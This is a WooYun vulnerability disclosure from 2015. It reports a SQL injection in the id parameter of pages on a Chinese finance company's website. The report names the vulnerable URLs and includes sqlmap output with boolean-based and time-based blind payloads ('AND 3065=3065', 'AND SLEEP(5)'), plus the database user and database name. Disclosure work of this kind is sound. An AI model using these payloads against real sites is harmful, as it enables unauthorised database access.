当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0138458

漏洞标题：龙虎金融网站sql注入漏洞

相关厂商：龙虎金融

漏洞作者： 路人甲

提交时间：2015-09-02 17:58

修复时间：2015-10-17 18:00

公开时间：2015-10-17 18:00

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-02： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-10-17： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

121

详细说明：

龙虎金融
看你们网页上那么多零，看的我都没心情挖漏洞了。

http://www.mshdai.com/index.php?ctl=help&act=detail&id=14
http://www.mshdai.com/index.php?ctl=stations&act=detail&id=20
http://www.mshdai.com/index.php?ctl=stations&act=contact&id=22
http://www.mshdai.com/index.php?ctl=new%27&id=27


参数id
还用有问题的连接。。

漏洞证明：

单引号直接报错

火狐截图_2015-09-01T12-35-15.982Z.png


sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ctl=help&act=detail&id=14 AND 3065=3065
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: ctl=help&act=detail&id=14 AND SLEEP(5)
---
[20:27:32] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.14
back-end DBMS: MySQL 5.0.12
current user: 'mshdai_com@%'
current database: 'mshdai_com'
没了

修复方案：

1

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝